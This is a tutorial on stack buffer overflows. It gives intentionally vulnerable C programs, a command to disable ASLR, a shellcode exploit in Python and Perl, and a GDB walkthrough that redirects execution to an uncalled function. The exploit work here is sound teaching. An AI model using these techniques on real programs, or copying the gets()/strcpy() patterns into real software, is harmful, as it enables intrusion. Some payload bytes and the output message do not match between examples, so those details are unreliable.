Binary Exploitation (Buffer Overflow)
Overview
This Pentesting article features 3 examples on exploiting different binaries, that have buffer overflow vulnerabilities.
The examples range from very simple ones to more complex versions.
All examples were created in Linux and written in C.
To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.
Requirements
- Operating system: Linux
- Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)
Install gcc-multilib and gdb using apt.
sudo apt update sudo apt install gcc-multilib sudo apt install gdb
In order to complete these steps, you must have followed Buffer Overflows before.
The theoretical part is required to understand basic concepts needed for the examples.
Example 1: Simple Game to Overwrite an Integer
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.
The program was compiled with this command:
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
Input smaller than 8 ➜ program exits
Input bigger than 8 ➜ flag
This is the code in C:
#include <stdio.h>
int main() {
volatile int secret_treasure = 0;
char buffer[8];
printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");
printf("Enter your code: ");
gets(buffer);
if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}
return 0;
}
Example 2: Execute Your Own Shellcode
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.
This is the code in C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln(char *input) {
char buffer[256];
printf("Buffer address: %p\n", (void *)buffer);
strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vuln(argv[1]);
printf("Function executed without crashing.\n");
return 0;
}
To compile the C code into a program the following command is used.
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
- -m32 ➜ 32-bit file
- -no-pie ➜ start at a fixed address
- -fno-stack-protector ➜ disable canaries
- -z execstack ➜ make the stack executable
- -Wno-implicit-function-declaration ➜ supress warnings
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.
This is the code of the exploit in Python:
import sys
nop_sled = b"\x90" * 100
shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)
padding = b"A" * 134
return_address = b"\xb0\xcd\xff\xff"
payload = nop_sled + shellcode + padding + return_address
sys.stdout.buffer.write(payload)
The exploit can be both, a python script and a perl command.
Python:
./vulnerable "$(python3 exploit.py)"
Perl:
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
Here is the String of our shellcode. Since the shellcode is never terminated, the whole stack is printed.
Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation
The following program is vulnerable to stack-based buffer overflows due to the usage of the insecure gets()-function. gets() is used to write user input into a character array. In the source code, a function called winner() is defined, which is never called in main(). The objective of the following demonstration is to manipulate the execution flow in a way that will force the program to execute the winner() function. To achieve that, the saved return pointer from the stack frame of function will have to be overwritten with the address of the winner function. Firstly, examine the source:
#include <stdio.h>
#include <stdlib.h>
void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}
void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}
int main() {
function(1, 2, 3);
}
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
gdb stack-overflow break main run
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
disassemble main
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
Dump of assembler code for function main: 0x56556203 <+0>: lea ecx,[esp+0x4] 0x56556207 <+4>: and esp,0xfffffff0 0x5655620a <+7>: push DWORD PTR [ecx-0x4] 0x5655620d <+10>: push ebp 0x5655620e <+11>: mov ebp,esp 0x56556210 <+13>: push ecx => 0x56556211 <+14>: sub esp,0x4 0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax> 0x56556219 <+22>: add eax,0x2ddb 0x5655621e <+27>: sub esp,0x4 0x56556221 <+30>: push 0x3 0x56556223 <+32>: push 0x2 0x56556225 <+34>: push 0x1 0x56556227 <+36>: call 0x565561ad <function> 0x5655622c <+41>: add esp,0x10 0x5655622f <+44>: mov eax,0x0 0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4] 0x56556237 <+52>: leave 0x56556238 <+53>: lea esp,[ecx-0x4] 0x5655623b <+56>: ret
Disassemble the function "function".
disassemble function
Find the call to gets.
Dump of assembler code for function function: 0x565561ad <+0>: push ebp 0x565561ae <+1>: mov ebp,esp 0x565561b0 <+3>: push ebx 0x565561b1 <+4>: sub esp,0x14 0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax> 0x565561b9 <+12>: add eax,0x2e3b 0x565561be <+17>: sub esp,0xc 0x565561c1 <+20>: lea edx,[ebp-0xd] 0x565561c4 <+23>: push edx 0x565561c5 <+24>: mov ebx,eax 0x565561c7 <+26>: call 0x56556050 <gets@plt> 0x565561cc <+31>: add esp,0x10 0x565561cf <+34>: nop 0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4] 0x565561d3 <+38>: leave 0x565561d4 <+39>: ret
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
break *0x565561cc continue
Examine the current state of the CPU's registers.
info registers
... esp 0xffffcc50 0xffffcc50 ebp 0xffffcc78 0xffffcc78 ... eip 0x565561cc 0x565561cc <function+31> ...
Inspect the current stack frame.
info frame
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
... eip = 0x565561cc in function; saved eip = 0x5655622c ...
One can examine which instruction is saved at that address.
x/i 0x5655622c
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
disassemble main
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
x/8xw $ebp
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002 0xffffcc88: 0x00000003 ... ... ...
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
x/8xw $ebp - 16
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14 0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
Alternatively, look at the output per byte.
x/24xb $ebp - 16
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00 0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7 0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
info functions winner
All functions matching regular expression "winner": ... 0x565561d5 winner
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
hexdump -C exploit.bin hexeditor exploit.bin
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000010 41 d5 61 55 56 |A.aUV| 00000015
Run the program supplying the exploit file to it as user input.
./stack-overflow < exploit.bin
Congratulations! You manipulated the flow of execution.


